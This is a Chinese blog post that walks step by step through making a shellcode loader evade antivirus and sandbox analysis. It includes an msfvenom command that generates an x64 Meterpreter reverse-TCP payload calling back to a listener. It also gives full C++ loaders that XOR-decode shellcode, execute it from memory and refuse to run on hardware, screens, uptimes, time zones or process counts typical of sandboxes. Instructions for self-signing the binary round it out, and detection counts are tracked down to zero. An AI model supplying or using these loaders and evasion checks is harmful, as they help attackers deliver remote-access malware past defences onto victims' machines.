郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

前言

新篇章开始了,主要讲一些探测沙盒以及编译工具的方法,之前我写的那个勒索病毒用到的大部分方法我都会总结到这里,也会参考一些师傅的文章,算是一个巩固吧,最后会把所有代码上传到GitHub中,之前免杀里面说的一些像加密之类的操作这里就不在重复写了。

B79A6672434BA2BBDDF34E537B3CD05D

这是半成品,还有几个代码没敲完,还有点瑕疵

从编译角度来看免杀

全篇文章以免杀中的VirtualAllocPlanA作为基础例子来验证我们的猜想,

删除链接库

有些反病毒软件会识别链接器中的问题,如果说xxx.lib这些编译器会自动帮我们加上,如果把链接器选项中的其他依赖项删除掉(尤其是kernel32.lib),某些反恶意软件引擎就不会把生成的可执行文件标记为恶意的。

这是系统自带的附加依赖,我们生产后放到TV中查杀看看

image-20200521150304555

可以看到免杀率为28/72

image-20200521150431870

接着把附加依赖项删除了,重新生成

image-20200521150624346

可以看到我们绕过了5家杀软,免杀率23/72

image-20200521150903570

知道PE原理的小伙伴可能会说把这个删了文件就无法加载kernel32.dll这个重要的文件了,其实当我们编译的时候vs2019会自动把该dll静态的链接到程序上

对二进制文件进行签名

我这里用到makecert,这个软件当你装vs系列的编译器的时候就已经自带了

位置:vs2019->工具->命令行->里面cmd和powershell随便选一个都行

用法参数翻译过来如表格

基本选项 指定主题的证书名称。在双引号中指定此名称,并加上前缀 CN=;例如,“CN=myName”。
-pe 将所生成的私钥标记为可导出。这样可将私钥包括在证书中。
-sk keyname 指定主题的密钥容器位置,该位置包含私钥。如果密钥容器不存在,系统将创建一个。
-sr location 指定主题的证书存储位置。Location 可以是 currentuser(默认值)或 localmachine。
-ss store 指定主题的证书存储名称,输出证书即存储在那里。
-# number 指定一个介于 1 和 2,147,483,647 之间的序列号。默认值是由 Makecert.exe 生成的唯一值。
-$ authority 指定证书的签名权限,必须设置为 commercial(对于商业软件发行者使用的证书)或 individual(对于个人软件发行者使用的证书)。

可以使用如下命令

1.makecert -r -pe -n "CN=Ascotbe CA" -ss CA -sr CurrentUser -a sha256 -cy authority -sky signature -sv AscotbeCA.pvk AscotbeCA.cer
2.certutil -user -addstore Root AscotbeCA.cer
3.makecert -pe -n "CN=Ascotbe Cert" -a sha256 -cy end -sky signature -ic AscotbeCA.cer -iv AscotbeCA.pvk -sv AscotbeCert.pvk AscotbeCert.cer
4.pvk2pfx -pvk AscotbeCert.pvk -spc AscotbeCert.cer -pfx AscotbeCert.pfx
5.signtool sign /v /f AscotbeCert.pfx /t http://timestamp.verisign.com/scripts/timstamp.dll VirtualAllocPlanA.exe

image-20200521155636868

可以看到利用证书后又绕过了4家杀软,免杀率19/72

image-20200521155439741

使用X64位进行编译

当前的32位系统以及开始慢慢淘汰了,所以我们可以利用X64位的POC来进行编译,32位的POC已经是重灾区了

首先用msf生成shellcode

msfvenom -p  windows/x64/meterpreter/reverse_tcp -i 6 -b '\x00' lhost=192.168.0.161 lport=6666   -f c

接着重复上面两个步骤编译出来的程序放到TV中查杀下,可以发现免杀瞬间绕过了10个杀软,免杀率9/72

image-20200521170347146

对ico图标进行更换

替换资源文件,有些杀软还会检查你的ico图标

检测设备和供应商名称

硬件大小检测

一般的电脑现在都是最少4G内存了,硬盘最少都是500G的,CPU核心数都是2个以上,而反观虚拟机上的大部分都是分配个双核,2G内存,60G硬盘

SYSTEM_INFO SystemInfo;
GetSystemInfo(&SystemInfo);//获取系统信息
DWORD NumberOfProcessors = SystemInfo.dwNumberOfProcessors;
if (NumberOfProcessors < 2)
{
return 0;
}
//std::cout << NumberOfProcessors<<std::endl;
// check RAM
MEMORYSTATUSEX MemoryStatus;
MemoryStatus.dwLength = sizeof(MemoryStatus);
GlobalMemoryStatusEx(&MemoryStatus);
DWORD RAMMB = MemoryStatus.ullTotalPhys / 1024 / 1024;
//std::cout << RAMMB << std::endl;
if (RAMMB < 2048)
{
return 0;
}

// check HDD
HANDLE hDevice = CreateFileW(L"\\.\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
DISK_GEOMETRY pDiskGeometry;
DWORD bytesReturned;
DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);
DWORD diskSizeGB;
diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
//std::cout << diskSizeGB << std::endl;
if (diskSizeGB < 100)
{
return 0;
}

利用检测基础硬件来绕过,发现可以再次绕过三家杀软,免杀率6/72

image-20200521180734265

完整代码

#include <Windows.h>
#include <stdio.h>
#include <string.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口


int main()

{
SYSTEM_INFO SystemInfo;
GetSystemInfo(&SystemInfo);//获取系统信息
DWORD NumberOfProcessors = SystemInfo.dwNumberOfProcessors;
if (NumberOfProcessors < 2)
{
return 0;
}
//std::cout << NumberOfProcessors<<std::endl;
// check RAM
MEMORYSTATUSEX MemoryStatus;
MemoryStatus.dwLength = sizeof(MemoryStatus);
GlobalMemoryStatusEx(&MemoryStatus);
DWORD RAMMB = MemoryStatus.ullTotalPhys / 1024 / 1024;
//std::cout << RAMMB << std::endl;
if (RAMMB < 2048)
{
return 0;
}

// check HDD
HANDLE hDevice = CreateFileW(L"\\.\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
DISK_GEOMETRY pDiskGeometry;
DWORD bytesReturned;
DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);
DWORD diskSizeGB;
diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
//std::cout << diskSizeGB << std::endl;
if (diskSizeGB < 100)
{
return 0;
}

unsigned char buf[] = "X64shellcode";
LPVOID Memory;

Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

memcpy(Memory, buf, sizeof(buf));

((void(*)())Memory)();

}

对上面代码的shellcode进行异或加密后,在执行的时候解密再次绕过三家杀软,免杀率3/72

image-20200522163852141

具体代码如下

#include <Windows.h>
#include <stdio.h>
#include <string.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口


int main()

{
SYSTEM_INFO SystemInfo;
GetSystemInfo(&SystemInfo);//获取系统信息
DWORD NumberOfProcessors = SystemInfo.dwNumberOfProcessors;
if (NumberOfProcessors < 2)
{
return 0;
}
//std::cout << NumberOfProcessors<<std::endl;
// check RAM
MEMORYSTATUSEX MemoryStatus;
MemoryStatus.dwLength = sizeof(MemoryStatus);
GlobalMemoryStatusEx(&MemoryStatus);
DWORD RAMMB = MemoryStatus.ullTotalPhys / 1024 / 1024;
//std::cout << RAMMB << std::endl;
if (RAMMB < 2048)
{
return 0;
}

// check HDD
HANDLE hDevice = CreateFileW(L"\\.\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
DISK_GEOMETRY pDiskGeometry;
DWORD bytesReturned;
DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);
DWORD diskSizeGB;
diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
//std::cout << diskSizeGB << std::endl;
if (diskSizeGB < 100)
{
return 0;
}

int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性
/* length: 800 bytes */

unsigned char buf[] = "X64异或后的代码";


// 获取shellcode大小
shellcode_size = sizeof(buf);

/* 增加异或代码 */
for (int i = 0; i < shellcode_size; i++) {
buf[i] ^= 10;
}
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/

char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
//原来的属性是PAGE_EXECUTE_READWRITE
);

// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode, buf, shellcode_size);

// 这里开始更改它的属性为可执行
VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);

// 等待几秒,兴许可以跳过某些沙盒呢?
Sleep(2000);

hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);

WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
return 0;

}

再努努力绕过绕过全球杀软指日可待

硬件名称检测
特殊的注册列表
父进程
特殊的进程
已加载的库
窗口名称

检查屏幕分辨率

虚拟化环境很少使用多个显示器(尤其是沙箱)。虚拟显示器可能也没有特定的屏幕尺寸(尤其是处于自适应主机而不是全屏模式的时候,这时虚拟机窗口有滚动条或者选项卡),而有些沙箱甚至没有屏幕。

基于检测设备大小上面在加个检测分辨率

具体代码如下

#include <Windows.h>
#include <stdio.h>
#include <string.h>
#include<devguid.h>
#pragma comment(lib, "User32.lib ")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口


//检查硬件是否正常
bool HardwareCapacity()
{
SYSTEM_INFO SystemInfo;
GetSystemInfo(&SystemInfo);//获取系统信息
DWORD NumberOfProcessors = SystemInfo.dwNumberOfProcessors;
if (NumberOfProcessors < 2)
{
return false;
}
//std::cout << NumberOfProcessors<<std::endl;
// check RAM
MEMORYSTATUSEX MemoryStatus;
MemoryStatus.dwLength = sizeof(MemoryStatus);
GlobalMemoryStatusEx(&MemoryStatus);
DWORD RAMMB = MemoryStatus.ullTotalPhys / 1024 / 1024;
//std::cout << RAMMB << std::endl;
if (RAMMB < 2048)
{
return false;

}

// check HDD
HANDLE hDevice = CreateFileW(L"\\.\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
DISK_GEOMETRY pDiskGeometry;
DWORD bytesReturned;
DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);
DWORD diskSizeGB;
diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
//std::cout << diskSizeGB << std::endl;
if (diskSizeGB < 100)
{
return false;
}
return true;
}


bool CALLBACK MonitorInfoCallback(HMONITOR hMonitor, HDC hdcMonitor, LPRECT lpRect, LPARAM data)
{
MONITORINFO MonitorInfo;
MonitorInfo.cbSize = sizeof(MONITORINFO);
GetMonitorInfoW(hMonitor, &MonitorInfo);
int iXResolution = MonitorInfo.rcMonitor.right - MonitorInfo.rcMonitor.left;
int iYResolution = MonitorInfo.rcMonitor.top - MonitorInfo.rcMonitor.bottom;
if (iXResolution < 0) iXResolution = -iXResolution;
if (iYResolution < 0) iYResolution = -iYResolution;
//这边匹配常见分辨率
if ((iXResolution != 1920 && iXResolution != 2560 && iXResolution != 1440)
|| (iYResolution != 1080 && iYResolution != 1200 && iYResolution != 1600 && iYResolution != 900))
{
*((BOOL*)data) = true;
}
return true;
}
//检查分辨率是否正常
bool MonitorInfo()
{
MONITORENUMPROC pMonitorInfoCallback = (MONITORENUMPROC)MonitorInfoCallback;
//https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getsystemmetrics
//改函数具体参数见文档
int iXResolution = GetSystemMetrics(SM_CXSCREEN);
int iYResolution = GetSystemMetrics(SM_CYSCREEN);
//std::cout << iXResolution << std::endl;
//std::cout << iYResolution << std::endl;
if (iXResolution < 1000 && iYResolution < 1000)
{
return false;
}

int iNumberOfMonitors = GetSystemMetrics(SM_CMONITORS);//获取可见显示器数量
//std::cout << iNumberOfMonitors << std::endl;
bool bSandBox = false;
//用枚举来查询每个显示器
//https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-enumdisplaymonitors
EnumDisplayMonitors(NULL, NULL, pMonitorInfoCallback, (LPARAM)(&bSandBox));
if (bSandBox)
{
return false;
}
return true;

}
int main()

{
bool bHardwareDetection = true;
bool bWindowDetection = true;
bHardwareDetection =HardwareCapacity();
bWindowDetection=MonitorInfo();
if (bHardwareDetection == false || bWindowDetection == false)
{
return 0;
}

int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性
/* length: 800 bytes */

unsigned char buf[] = "X64shellcode";


// 获取shellcode大小
shellcode_size = sizeof(buf);

/* 增加异或代码 */
for (int i = 0; i < shellcode_size; i++) {
buf[i] ^= 10;
}
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/

char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
//原来的属性是PAGE_EXECUTE_READWRITE
);

// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode, buf, shellcode_size);

// 这里开始更改它的属性为可执行
VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);

// 等待几秒,兴许可以跳过某些沙盒呢?
Sleep(2000);

hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);

WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
return 0;

}

到现在又绕过了两家杀软,目前就剩下一家了,免杀率1/72

image-20200523124705754

检测系统是否是刚装的

大多数分析的系统都是新的,比如说专门分析的虚拟机会拍摄快照方便回滚,而快照大部分都是初始化的系统,比如注册列表不存在有U盘插上过

bool UsbNumberJudgment()
{
HKEY hKey;
DWORD dwMountedUSBDevicesCount;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\ControlSet001\\Enum\\USBSTOR", 0, KEY_READ, &hKey);
RegQueryInfoKey(hKey, NULL, NULL, NULL, &dwMountedUSBDevicesCount, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if (dwMountedUSBDevicesCount < 1)
{
return false;
}
return true;
}

检测鼠标移动轨迹

沙箱嘛,有些肯定是没有鼠标的,可以设置鼠标移动轨迹,如果移动多少距离才执行shellcode.

bool DetectMouseMovementTrack()
{
POINT CurrentMousePosition;
POINT PreviousMousePosition;
GetCursorPos(&PreviousMousePosition);
double dMouseDistance = 0;
while (true)
{
GetCursorPos(&CurrentMousePosition);
dMouseDistance += sqrt(
pow(CurrentMousePosition.x - PreviousMousePosition.x, 2) +
pow(CurrentMousePosition.y - PreviousMousePosition.y, 2)
);
Sleep(100);
//std::cout << dMouseDistance << std::endl;
PreviousMousePosition = CurrentMousePosition;
if (dMouseDistance > 20000)
{
//std::cout << dMouseDistance << std::endl;
return true;
}
}
}

有下面可以看见我们鼠标移动的距离,直到我们设定的距离后才退出

image-20200523140052524

检查时间

有些沙箱嘛,为了快速的结束检测会加速当前时间,毕竟检测一个病毒并不能花太多时间。

首先检测时区是否对应

比如你的目标是中欧的,那么他的时区就是CENTRAL EUROPEAN STANDARD TIME,我本地是NORTH ASIA EAST STANDARD TIME,所有我用该值来判断,视目标位置来具体判断

bool TimeZoneDetection()
{
SetThreadLocale(MAKELCID(MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US), SORT_DEFAULT));
DYNAMIC_TIME_ZONE_INFORMATION DynamicTimeZoneInfo;
GetDynamicTimeZoneInformation(&DynamicTimeZoneInfo);
wchar_t wcTimeZoneName[128 + 1];
StringCchCopyW(wcTimeZoneName, 128, DynamicTimeZoneInfo.TimeZoneKeyName);
CharUpperW(wcTimeZoneName);
if (!wcsstr(wcTimeZoneName, L"NORTH ASIA EAST STANDARD TIME"))
{
return false;
}
return true;
}
检查时间流动性

该方法通过检查CPU周期的时间和当前UNIX时间戳是否流动相关,如果超过了那么要么是在调试,要么是在沙箱里面

bool TimeAcceleratedJudgment()
{
clock_t ClockStartTime, ClockEndTime;
time_t UnixStartTime = time(0);
//std::cout << "UnixStartTime:" << UnixStartTime << std::endl;
ClockStartTime = clock();
Sleep(10000);//暂停10秒
ClockEndTime = clock();
time_t UnixEndTime = time(0);
//std::cout << "StartTime:" << ClockStartTime << std::endl;
//std::cout << "EndTime:" << ClockEndTime << std::endl;

//std::cout << "UnixEndTime:" << UnixEndTime << std::endl;
int iTimeDifference = ((UnixEndTime - UnixStartTime) * 1000) - (ClockEndTime - ClockStartTime);
if (iTimeDifference>150)
{
return false;
}
return true;
}
检查系统运行时间

虚拟机容易回滚,那么运行的时间肯定是很短的,那么就判断时间就好

bool CheckRunningTime()
{
ULONGLONG uptime = GetTickCount64() / 1000;
std::cout << uptime;
if (uptime < 1200)
{
return false;
}
return true;
}

检查运行进程数量

沙箱是精简版的系统,就是说能少运行就少运行,能不运行就不运行,所以我们可以查看系统进程来判断是否在虚拟机中

bool CheckTheNumberOfProcesses()
{
DWORD dwRunningProcessesIDs[1024];
DWORD dwRunningProcessesCountBytes;
DWORD dwRunningProcessesCount;
EnumProcesses(dwRunningProcessesIDs, sizeof(dwRunningProcessesIDs), &dwRunningProcessesCountBytes);
dwRunningProcessesCount = dwRunningProcessesCountBytes / sizeof(DWORD);
//std::cout << dwRunningProcessesCount;
if (dwRunningProcessesCount < 50)
{
return false;
}
return true;
}

百分百免杀

到检测分辨率那边,就剩下一家没绕过了,后面测试了好多种方法都还是绕不过去,然后看那边报毒是X64 木马程序,我就预感到可能是因为字符串的问题导致没绕过去的,最后面把代码换成N个字符串相加即可,尝试这样拼接。

代码有点瑕疵,改完在贴上

挑战全球杀软成功!免杀率0/72

image-20200523192121311

参考文章
https://0xpat.github.io/Malware_development_part_2/
https://www.freebuf.com/articles/system/122134.html